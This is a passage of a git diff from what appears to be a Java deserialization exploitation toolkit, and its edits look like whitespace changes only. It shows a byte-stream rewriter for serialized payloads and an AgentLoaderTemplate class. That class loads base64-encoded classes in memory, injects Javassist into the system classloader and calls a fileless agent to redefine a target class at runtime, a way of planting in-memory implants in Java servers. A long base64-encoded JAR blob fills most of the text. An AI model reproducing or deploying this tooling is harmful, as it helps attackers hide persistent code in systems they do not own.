2] & 0xFF); + int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); byte[] originalValue = new byte[length]; System.arraycopy(originalBytes, index + 3, originalValue, 0, length); index += 3 + length; @@ -123,7 +123,7 @@ public class UTF8BytesMix { byteAdd(originalBytes[index]); index++; - int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); byte[] originalFieldName = new byte[fieldLength]; System.arraycopy(originalBytes, index + 2, originalFieldName, 0, fieldLength); index += 2 + fieldLength; @@ -146,7 +146,7 @@ public class UTF8BytesMix { byteAdd(originalBytes[index]); index++; - int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); byte[] originalClassName = new byte[classLength]; System.arraycopy(originalBytes, index + 2, originalClassName, 0, classLength); index += 2 + classLength; diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java index 519ace2..83b3894 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java @@ -28,28 +28,28 @@ public class AgentLoaderTemplate extends ClassLoader { Class.forName("javassist.CtClass", false, tmpl); } catch (Exception ignored) { // 在内存中打一个 Javassist 进去 - Class a = tmpl.defineClass(base64Decode(SU_URL_CONNECTION_BYTES)); + Class a = tmpl.defineClass(base64Decode(SU_URL_CONNECTION_BYTES)); tmpl.defineClass(base64Decode(SU_URL_STREAM_HANDLER_BYTES)); - byte[] jarBytes = base64Decode(JAR_BODY); - URL url = (URL) a.getMethod("createURL", byte[].class, String.class).invoke(null, jarBytes, "application/jar"); + byte[] jarBytes = base64Decode(JAR_BODY); + URL url = (URL) a.getMethod("createURL", byte[].class, String.class).invoke(null, jarBytes, "application/jar"); URLClassLoader classLoader = (URLClassLoader) getSystemClassLoader(); - Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); method.setAccessible(true); method.invoke(classLoader, url); } - Class classModifier = tmpl.defineClass(base64Decode(CLASS_MODIFIER_BYTES)); + Class classModifier = tmpl.defineClass(base64Decode(CLASS_MODIFIER_BYTES)); // 反射调用,获取 Hook 类字节码,插入关键逻辑和需要的方法 Field 等 Method method1 = classModifier.getMethod("insert", new Class[]{}); method1.setAccessible(true); - List list = (List) method1.invoke(null); - String targetClassName = list.get(0).toString(); - byte[] newClassByte = (byte[]) list.get(1); + List list = (List) method1.invoke(null); + String targetClassName = list.get(0).toString(); + byte[] newClassByte = (byte[]) list.get(1); // 执行 AgentNoFile 逻辑 - Class agent = tmpl.defineClass(base64Decode(AGENT_NO_FILE_BYTES)); - Method m = agent.getDeclaredMethod("redefineClasses", new Class[]{String.class, byte[].class}); + Class agent = tmpl.defineClass(base64Decode(AGENT_NO_FILE_BYTES)); + Method m = agent.getDeclaredMethod("redefineClasses", new Class[]{String.class, byte[].class}); m.invoke(null, targetClassName, newClassByte); } catch (Exception e) { e.printStackTrace(); @@ -64,7 +64,7 @@ public class AgentLoaderTemplate extends ClassLoader { } public static byte[] base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); @@ -106,7 +106,7 @@ public class AgentLoaderTemplate extends ClassLoader { JAR_BODY += "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AAAUAQAAHQAAAAAAAAAAAAAApIGM9gcAamF2YXNzaXN0L3J1bnRpbWUvSW5uZXIuY2xhc3NQSwECFAMKAAAACAACbMs8iTslT6sKAAACFgAAKgAAAAAAAAAAAAAApIGW9wcAamF2YXNzaXN0L3Njb3BlZHBvb2wvU2NvcGVkQ2xhc3NQb29sLmNsYXNzUEsBAhQDCgAAAAgAAmzLPIUwxiiwAAAAogEAADEAAAAAAAAAAAAAAKSBiQIIAGphdmFzc2lzdC9zY29wZWRwb29sL1Njb3BlZENsYXNzUG9vbEZhY3RvcnkuY2xhc3NQSwECFAMKAAAACAACbMs8bzM56aIBAABaBAAANQAAAAAAAAAAAAAApIGIAwgAamF2YXNzaXN0L3Njb3BlZHBvb2wvU2NvcGVkQ2xhc3NQb29sRmFjdG9yeUltcGwuY2xhc3NQSwECFAMKAAAACAACbMs8ZmG/iEABAADjAgAANAAAAAAAAAAAAAAApIF9BQgAamF2YXNzaXN0L3Njb3BlZHBvb2wvU2NvcGVkQ2xhc3NQb29sUmVwb3NpdG9yeS5jbGFzc1BLAQIUAwoAAAAIAAJsyzy88AmmrgcAAH8RAAA4AAAAAAAAAAAAAACkgQ8HCABqYXZhc3Npc3Qvc2NvcGVkcG9vbC9TY29wZWRDbGFzc1Bvb2xSZXBvc2l0b3J5SW1wbC5jbGFzc1BLAQIUAwoAAAAIAAJsyzx63PF39AEAADQEAAA4AAAAAAAAAAAAAACkgRMPCABqYXZhc3Npc3Qvc2NvcGVkcG9vbC9Tb2Z0VmFsdWVIYXNoTWFwJFNvZnRWYWx1ZVJlZi5jbGFzc1BLAQIUAwoAAAAIAAJsyzxc9s2K0gQAALEKAAArAAAAAAAAAAAAAACkgV0RCABqYXZhc3Npc3Qvc2NvcGVkcG9vbC9Tb2Z0VmFsdWVIYXNoTWFwLmNsYXNzUEsBAhQDCgAAAAgAAmzLPPiC24i2AQAA6AIAACIAAAAAAAAAAAAAAKSBeBYIAGphdmFzc2lzdC9TZXJpYWxWZXJzaW9uVUlEJDEuY2xhc3NQSwECFAMKAAAACAACbMs8Z41k+O0BAABaAwAAIgAAAAAAAAAAAAAApIFuGAgAamF2YXNzaXN0L1NlcmlhbFZlcnNpb25VSUQkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzzx2s95GwIAAJ0DAAAiAAAAAAAAAAAAAACkgZsaCABqYXZhc3Npc3QvU2VyaWFsVmVyc2lvblVJRCQzLmNsYXNzUEsBAhQDCgAAAAgAAmzLPClW5TYyCgAAchQAACAAAAAAAAAAAAAAAKSB9hwIAGphdmFzc2lzdC9TZXJpYWxWZXJzaW9uVUlELmNsYXNzUEsBAhQDCgAAAAgAAmzLPHHeRM7mAgAAkwUAABoAAAAAAAAAAAAAAKSBZicIAGphdmFzc2lzdC90b29scy9EdW1wLmNsYXNzUEsBAhQDCgAAAAgAAmzLPPLBNmm9AgAACQUAAB8AAAAAAAAAAAAAAKSBhCoIAGphdmFzc2lzdC90b29scy9mcmFtZWR1bXAuY2xhc3NQSwECFAMKAAAACAACbMs8W2njGnoBAADNAgAAMwAAAAAAAAAAAAAApIF+LQgAamF2YXNzaXN0L3Rvb2xzL3JlZmxlY3QvQ2Fubm90Q3JlYXRlRXhjZXB0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPDakppd9AgAA/AUAADMAAAAAAAAAAAAAAKSBSS8IAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0Nhbm5vdEludm9rZUV4Y2VwdGlvbi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyqUUhCAAEAAJ8BAAA0AAAAAAAAAAAAAACkgRcyCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9DYW5ub3RSZWZsZWN0RXhjZXB0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPMxIDzJhDQAArxwAAC0AAAAAAAAAAAAAAKSBaTMIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0NsYXNzTWV0YW9iamVjdC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzYshB5/gAAAIcBAAArAAAAAAAAAAAAAACkgRVBCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9Db21waWxlZENsYXNzLmNsYXNzUEsBAhQDCgAAAAgAAmzLPHXpJUl9BgAAvAwAACYAAAAAAAAAAAAAAKSBXEIIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0NvbXBpbGVyLmNsYXNzUEsBAhQDCgAAAAgAA2zLPPClT8mmAgAADAUAACQAAAAAAAAAAAAAAKSBHUkIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0xvYWRlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRiwTfrgAAAEIBAAAnAAAAAAAAAAAAAACkgQVMCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9NZXRhbGV2ZWwuY2xhc3NQSwECFAMKAAAACAACbMs8txlS8hsHAADhEAAAKAAAAAAAAAAAAAAApIH4TAgAamF2YXNzaXN0L3Rvb2xzL3JlZmxlY3QvTWV0YW9iamVjdC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzCvhRpkw8AAEohAAAoAAAAAAAAAAAAAACkgVlUCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9SZWZsZWN0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPBKIJ/ABAwAAnQYAACQAAAAAAAAAAAAAAKSBMmQIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L1NhbXBsZS5jbGFzc1BLAQIUAwoAAAAIAAJsyzxQuRV4GQwAAH4YAAAmAAAAAAAAAAAAAACkgXVnCABqYXZhc3Npc3QvdG9vbHMvcm1pL0Fwc